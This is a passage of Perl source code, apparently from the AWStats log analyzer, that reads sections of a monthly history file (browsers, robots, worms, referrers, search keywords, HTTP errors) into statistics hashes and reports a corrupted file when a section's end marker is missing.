|| $field[0] eq "${xmleb}END_BROWSER"
|| !$_ );
if ( $field[0] ne 'END_BROWSER'
&& $field[0] ne "${xmleb}END_BROWSER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of BROWSER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'browser'};
if ( $SectionsToSave{'browser'} ) {
Save_History( 'browser', $year, $month, $date );
delete $SectionsToSave{'browser'};
if ($withpurge) { %_browser_h = (); %_browser_p = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_UNKNOWNREFERER
if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) {
if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'unknownreferer'} ) {
$countloaded++;
if ( !$_unknownreferer_l{ $field[0] } ) {
$_unknownreferer_l{ $field[0] } =
int( $field[1] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_UNKNOWNREFERER'
|| $field[0] eq "${xmleb}END_UNKNOWNREFERER"
|| !$_ );
if ( $field[0] ne 'END_UNKNOWNREFERER'
&& $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'unknownreferer'};
if ( $SectionsToSave{'unknownreferer'} ) {
Save_History( 'unknownreferer', $year, $month, $date );
delete $SectionsToSave{'unknownreferer'};
if ($withpurge) { %_unknownreferer_l = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_UNKNOWNREFERERBROWSER
if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) {
if ($Debug) {
debug(" Begin of UNKNOWNREFERERBROWSER section");
}
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'unknownrefererbrowser'} ) {
$countloaded++;
if ( !$_unknownrefererbrowser_l{ $field[0] } ) {
$_unknownrefererbrowser_l{ $field[0] } =
int( $field[1] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
|| $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
|| !$_ );
if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER'
&& $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'unknownrefererbrowser'};
if ( $SectionsToSave{'unknownrefererbrowser'} ) {
Save_History( 'unknownrefererbrowser',
$year, $month, $date );
delete $SectionsToSave{'unknownrefererbrowser'};
if ($withpurge) { %_unknownrefererbrowser_l = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_SCREENSIZE
if ( $field[0] eq 'BEGIN_SCREENSIZE' ) {
if ($Debug) { debug(" Begin of SCREENSIZE section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'screensize'} ) {
$countloaded++;
if ( $field[1] ) {
$_screensize_h{ $field[0] } += $field[1];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_SCREENSIZE'
|| $field[0] eq "${xmleb}END_SCREENSIZE"
|| !$_ );
if ( $field[0] ne 'END_SCREENSIZE'
&& $field[0] ne "${xmleb}END_SCREENSIZE" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of SCREENSIZE section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'screensize'};
if ( $SectionsToSave{'screensize'} ) {
Save_History( 'screensize', $year, $month, $date );
delete $SectionsToSave{'screensize'};
if ($withpurge) { %_screensize_h = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_ROBOT
if ( $field[0] eq 'BEGIN_ROBOT' ) {
if ($Debug) { debug(" Begin of ROBOT section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'robot'} ) {
$countloaded++;
if ( $field[1] ) {
$_robot_h{ $field[0] } += $field[1];
}
$_robot_k{ $field[0] } += $field[2];
if ( !$_robot_l{ $field[0] } ) {
$_robot_l{ $field[0] } = int( $field[3] );
}
if ( $field[4] ) {
$_robot_r{ $field[0] } += $field[4];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_ROBOT'
|| $field[0] eq "${xmleb}END_ROBOT"
|| !$_ );
if ( $field[0] ne 'END_ROBOT'
&& $field[0] ne "${xmleb}END_ROBOT" )
{
error(
"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of ROBOT section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'robot'};
if ( $SectionsToSave{'robot'} ) {
Save_History( 'robot', $year, $month, $date );
delete $SectionsToSave{'robot'};
if ($withpurge) {
%_robot_h = ();
%_robot_k = ();
%_robot_l = ();
%_robot_r = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_WORMS
if ( $field[0] eq 'BEGIN_WORMS' ) {
if ($Debug) { debug(" Begin of WORMS section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'worms'} ) {
$countloaded++;
if ( $field[1] ) {
$_worm_h{ $field[0] } += $field[1];
}
$_worm_k{ $field[0] } += $field[2];
if ( !$_worm_l{ $field[0] } ) {
$_worm_l{ $field[0] } = int( $field[3] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_WORMS'
|| $field[0] eq "${xmleb}END_WORMS"
|| !$_ );
if ( $field[0] ne 'END_WORMS'
&& $field[0] ne "${xmleb}END_WORMS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of WORMS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'worms'};
if ( $SectionsToSave{'worms'} ) {
Save_History( 'worms', $year, $month, $date );
delete $SectionsToSave{'worms'};
if ($withpurge) {
%_worm_h = ();
%_worm_k = ();
%_worm_l = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_EMAILS
if ( $field[0] eq 'BEGIN_EMAILSENDER' ) {
if ($Debug) { debug(" Begin of EMAILSENDER section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'emailsender'} ) {
$countloaded++;
if ( $field[1] ) {
$_emails_h{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_emails_k{ $field[0] } += $field[2];
}
if ( !$_emails_l{ $field[0] } ) {
$_emails_l{ $field[0] } = int( $field[3] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_EMAILSENDER'
|| $field[0] eq "${xmleb}END_EMAILSENDER"
|| !$_ );
if ( $field[0] ne 'END_EMAILSENDER'
&& $field[0] ne "${xmleb}END_EMAILSENDER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of EMAILSENDER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'emailsender'};
if ( $SectionsToSave{'emailsender'} ) {
Save_History( 'emailsender', $year, $month, $date );
delete $SectionsToSave{'emailsender'};
if ($withpurge) {
%_emails_h = ();
%_emails_k = ();
%_emails_l = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_EMAILR
if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) {
if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'emailreceiver'} ) {
$countloaded++;
if ( $field[1] ) {
$_emailr_h{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_emailr_k{ $field[0] } += $field[2];
}
if ( !$_emailr_l{ $field[0] } ) {
$_emailr_l{ $field[0] } = int( $field[3] );
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_EMAILRECEIVER'
|| $field[0] eq "${xmleb}END_EMAILRECEIVER"
|| !$_ );
if ( $field[0] ne 'END_EMAILRECEIVER'
&& $field[0] ne "${xmleb}END_EMAILRECEIVER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'emailreceiver'};
if ( $SectionsToSave{'emailreceiver'} ) {
Save_History( 'emailreceiver', $year, $month, $date );
delete $SectionsToSave{'emailreceiver'};
if ($withpurge) {
%_emailr_h = ();
%_emailr_k = ();
%_emailr_l = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_SIDER
if ( $field[0] eq 'BEGIN_SIDER' ) {
if ($Debug) { debug(" Begin of SIDER section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'sider'} ) {
my $loadrecord = 0;
if ($withupdate) {
$loadrecord = 1;
}
else {
if ( $HTMLOutput{'main'} ) {
if ( $MonthRequired eq 'all' ) {
$loadrecord = 1;
}
else {
if (
$countloaded < $MaxNbOf{'PageShown'}
&& $field[1] >= $MinHit{'File'} )
{
$loadrecord = 1;
}
$TotalDifferentPages++;
}
}
else
{ # This is for $HTMLOutput = urldetail, urlentry or urlexit
if ( $MonthRequired eq 'all' ) {
if (
(
!$FilterIn{'url'}
|| $field[0] =~
/$FilterIn{'url'}/
)
&& ( !$FilterEx{'url'}
|| $field[0] !~
/$FilterEx{'url'}/ )
)
{
$loadrecord = 1;
}
}
else {
if (
(
!$FilterIn{'url'}
|| $field[0] =~
/$FilterIn{'url'}/
)
&& ( !$FilterEx{'url'}
|| $field[0] !~
/$FilterEx{'url'}/ )
&& $field[1] >= $MinHit{'File'}
)
{
$loadrecord = 1;
}
$TotalDifferentPages++;
}
}
# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
$TotalBytesPages += ( $field[2] || 0 );
$TotalEntries += ( $field[3] || 0 );
$TotalExits += ( $field[4] || 0 );
}
if ($loadrecord) {
if ( $field[1] ) {
$_url_p{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_url_k{ $field[0] } += $field[2];
}
if ( $field[3] ) {
$_url_e{ $field[0] } += $field[3];
}
if ( $field[4] ) {
$_url_x{ $field[0] } += $field[4];
}
$countloaded++;
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_SIDER'
|| $field[0] eq "${xmleb}END_SIDER"
|| !$_ );
if ( $field[0] ne 'END_SIDER'
&& $field[0] ne "${xmleb}END_SIDER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of SIDER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'sider'};
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
#if ($SectionsToSave{'sider'}) {
# Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
# if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
#}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_FILETYPES
if ( $field[0] eq 'BEGIN_FILETYPES' ) {
if ($Debug) { debug(" Begin of FILETYPES section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'filetypes'} ) {
$countloaded++;
if ( $field[1] ) {
$_filetypes_h{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_filetypes_k{ $field[0] } += $field[2];
}
if ( $field[3] ) {
$_filetypes_gz_in{ $field[0] } += $field[3];
}
if ( $field[4] ) {
$_filetypes_gz_out{ $field[0] } += $field[4];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_FILETYPES'
|| $field[0] eq "${xmleb}END_FILETYPES"
|| !$_ );
if ( $field[0] ne 'END_FILETYPES'
&& $field[0] ne "${xmleb}END_FILETYPES" )
{
error(
"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of FILETYPES section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'filetypes'};
if ( $SectionsToSave{'filetypes'} ) {
Save_History( 'filetypes', $year, $month, $date );
delete $SectionsToSave{'filetypes'};
if ($withpurge) {
%_filetypes_h = ();
%_filetypes_k = ();
%_filetypes_gz_in = ();
%_filetypes_gz_out = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_DOWNLOADS
if ( $field[0] eq 'BEGIN_DOWNLOADS' ) {
if ($Debug) {
debug(" Begin of DOWNLOADS section");
}
$field[0] = '';
my $count = 0;
my $counttoload = int($field[1]);
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'downloads'}) {
$countloaded++;
$_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] );
$_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] );
$_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] );
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_DOWNLOADS'
|| $field[0] eq "${xmleb}END_DOWNLOADS"
|| !$_ );
if ( $field[0] ne 'END_DOWNLOADS'
&& $field[0] ne "${xmleb}END_DOWNLOADS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of DOWNLOADS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'downloads'};
if ( $SectionsToSave{'downloads'} ) {
Save_History( 'downloads',
$year, $month, $date );
delete $SectionsToSave{'downloads'};
if ($withpurge) { %_downloads = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_SEREFERRALS
if ( $field[0] eq 'BEGIN_SEREFERRALS' ) {
if ($Debug) { debug(" Begin of SEREFERRALS section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'sereferrals'} ) {
$countloaded++;
if ( $versionnum < 5004 )
{ # For history files < 5.4
my $se = $field[0];
$se =~ s/\./\\./g;
if ( $SearchEnginesHashID{$se} ) {
$_se_referrals_h{ $SearchEnginesHashID{$se}
} += $field[1]
|| 0;
}
else {
$_se_referrals_h{ $field[0] } += $field[1]
|| 0;
}
}
elsif ( $versionnum < 5091 )
{ # For history files < 5.91
my $se = $field[0];
$se =~ s/\./\\./g;
if ( $SearchEnginesHashID{$se} ) {
$_se_referrals_p{ $SearchEnginesHashID{$se}
} += $field[1]
|| 0;
$_se_referrals_h{ $SearchEnginesHashID{$se}
} += $field[2]
|| 0;
}
else {
$_se_referrals_p{ $field[0] } += $field[1]
|| 0;
$_se_referrals_h{ $field[0] } += $field[2]
|| 0;
}
}
else {
if ( $field[1] ) {
$_se_referrals_p{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_se_referrals_h{ $field[0] } += $field[2];
}
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_SEREFERRALS'
|| $field[0] eq "${xmleb}END_SEREFERRALS"
|| !$_ );
if ( $field[0] ne 'END_SEREFERRALS'
&& $field[0] ne "${xmleb}END_SEREFERRALS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of SEREFERRALS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'sereferrals'};
if ( $SectionsToSave{'sereferrals'} ) {
Save_History( 'sereferrals', $year, $month, $date );
delete $SectionsToSave{'sereferrals'};
if ($withpurge) {
%_se_referrals_p = ();
%_se_referrals_h = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_PAGEREFS
if ( $field[0] eq 'BEGIN_PAGEREFS' ) {
if ($Debug) { debug(" Begin of PAGEREFS section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'pagerefs'} ) {
my $loadrecord = 0;
if ($withupdate) {
$loadrecord = 1;
}
else {
if (
(
!$FilterIn{'refererpages'}
|| $field[0] =~
/$FilterIn{'refererpages'}/
)
&& ( !$FilterEx{'refererpages'}
|| $field[0] !~
/$FilterEx{'refererpages'}/ )
)
{
$loadrecord = 1;
}
}
if ($loadrecord) {
if ( $versionnum < 5004 )
{ # For history files < 5.4
if ( $field[1] ) {
$_pagesrefs_h{ $field[0] } +=
int( $field[1] );
}
}
else {
if ( $field[1] ) {
$_pagesrefs_p{ $field[0] } +=
int( $field[1] );
}
if ( $field[2] ) {
$_pagesrefs_h{ $field[0] } +=
int( $field[2] );
}
}
$countloaded++;
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_PAGEREFS'
|| $field[0] eq "${xmleb}END_PAGEREFS"
|| !$_ );
if ( $field[0] ne 'END_PAGEREFS'
&& $field[0] ne "${xmleb}END_PAGEREFS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of PAGEREFS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'pagerefs'};
if ( $SectionsToSave{'pagerefs'} ) {
Save_History( 'pagerefs', $year, $month, $date );
delete $SectionsToSave{'pagerefs'};
if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_SEARCHWORDS
if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
if ($Debug) {
debug(
" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
);
}
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'searchwords'} ) {
my $loadrecord = 0;
if ($withupdate) {
$loadrecord = 1;
}
else {
if ( $HTMLOutput{'main'} ) {
if ( $MonthRequired eq 'all' ) {
$loadrecord = 1;
}
else {
if ( $countloaded <
$MaxNbOf{'KeyphrasesShown'}
&& $field[1] >=
$MinHit{'Keyphrase'} )
{
$loadrecord = 1;
}
$TotalDifferentKeyphrases++;
$TotalKeyphrases += ( $field[1] || 0 );
}
}
elsif ( $HTMLOutput{'keyphrases'} )
{ # Load keyphrases for keyphrases chart
if ( $MonthRequired eq 'all' ) {
$loadrecord = 1;
}
else {
if ( $field[1] >= $MinHit{'Keyphrase'} )
{
$loadrecord = 1;
}
$TotalDifferentKeyphrases++;
$TotalKeyphrases += ( $field[1] || 0 );
}
}
if ( $HTMLOutput{'keywords'} )
{ # Load keyphrases for keywords chart
$loadrecord = 2;
}
}
if ($loadrecord) {
if ( $field[1] ) {
if ( $loadrecord == 2 ) {
foreach ( split( /\+/, $field[0] ) )
{ # field[0] is "val1+val2+..."
$_keywords{$_} += $field[1];
}
}
else {
$_keyphrases{ $field[0] } += $field[1];
}
}
$countloaded++;
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_SEARCHWORDS'
|| $field[0] eq "${xmleb}END_SEARCHWORDS"
|| !$_ );
if ( $field[0] ne 'END_SEARCHWORDS'
&& $field[0] ne "${xmleb}END_SEARCHWORDS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'searchwords'};
if ( $SectionsToSave{'searchwords'} ) {
Save_History( 'searchwords', $year, $month, $date );
delete $SectionsToSave{ 'searchwords'
}; # This save searwords and keywords sections
if ($withpurge) { %_keyphrases = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_KEYWORDS
if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
if ($Debug) {
debug(
" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
);
}
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'keywords'} ) {
my $loadrecord = 0;
if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
else {
if ( $countloaded < $MaxNbOf{'KeywordsShown'}
&& $field[1] >= $MinHit{'Keyword'} )
{
$loadrecord = 1;
}
$TotalDifferentKeywords++;
$TotalKeywords += ( $field[1] || 0 );
}
if ($loadrecord) {
if ( $field[1] ) {
$_keywords{ $field[0] } += $field[1];
}
$countloaded++;
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_KEYWORDS'
|| $field[0] eq "${xmleb}END_KEYWORDS"
|| !$_ );
if ( $field[0] ne 'END_KEYWORDS'
&& $field[0] ne "${xmleb}END_KEYWORDS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of KEYWORDS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'keywords'};
if ( $SectionsToSave{'keywords'} ) {
Save_History( 'keywords', $year, $month, $date );
delete $SectionsToSave{'keywords'};
if ($withpurge) { %_keywords = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_ERRORS
if ( $field[0] eq 'BEGIN_ERRORS' ) {
if ($Debug) { debug(" Begin of ERRORS section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{'errors'} ) {
$countloaded++;
if ( $field[1] ) {
$_errors_h{ $field[0] } += $field[1];
}
if ( $field[2] ) {
$_errors_k{ $field[0] } += $field[2];
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field =
split( /\s+/,
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
} until ( $field[0] eq 'END_ERRORS'
|| $field[0] eq "${xmleb}END_ERRORS"
|| !$_ );
if ( $field[0] ne 'END_ERRORS'
&& $field[0] ne "${xmleb}END_ERRORS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of ERRORS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'errors'};
if ( $SectionsToSave{'errors'} ) {
Save_History( 'errors', $year, $month, $date );
delete $SectionsToSave{'errors'};
if ($withpurge) { %_errors_h = (); %_errors_k = (); }
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
# BEGIN_SIDER_xxx
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
if ( $field[0] eq "BEGIN_SIDER_$code" ) {
if ($Debug) { debug(" Begin of SIDER_$code section"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ) {
$count++;
if ( $SectionsToLoad{"sider_$code"} ) {
$countloaded++;
if ( $field[1] ) {
$_sider_h{$code}{$field[0]} += $field[1];
}
if ( $withupdate || $HTMLOutput{"errors$code"} )
{
my $fieldidx = 2;
foreach (split(//, $ShowHTTPErrorsPageDetail)) {
last if (! $field[$fieldidx] );
if ( $_ =~ /R/i ) {
$_referer_h{$code}{$field[0]} = $field[2];
} elsif ( $_ =~ /H/i ) {
$_err_host_h{$code}{$field[0]} = $field[$fieldidx];
}
$fieldidx++;
}
}
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field = split(
/\s+/,
(
$readxml
? XMLDecodeFromHisto($_)
: $_
)
);
$countlines++;
} until ( $field[0] eq "END_SIDER_$code"
|| $field[0] eq "${xmleb}END_SIDER_$code"
|| !$_ );
if ( $field[0] ne "END_SIDER_$code"
&& $field[0] ne "${xmleb}END_SIDER_$code" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of SIDER_$code section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{"sider_$code"};
if ( $SectionsToSave{"sider_$code"} ) {
Save_History( "sider_$code", $year, $month, $date );
delete $SectionsToSave{"sider_$code"};
if ($withpurge) {
%{$_sider_h{$code}} = ();
%{$_referer_h{$code}} = ();
%{$_err_host_h{$code}} = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
}
# BEGIN_EXTRA_xxx
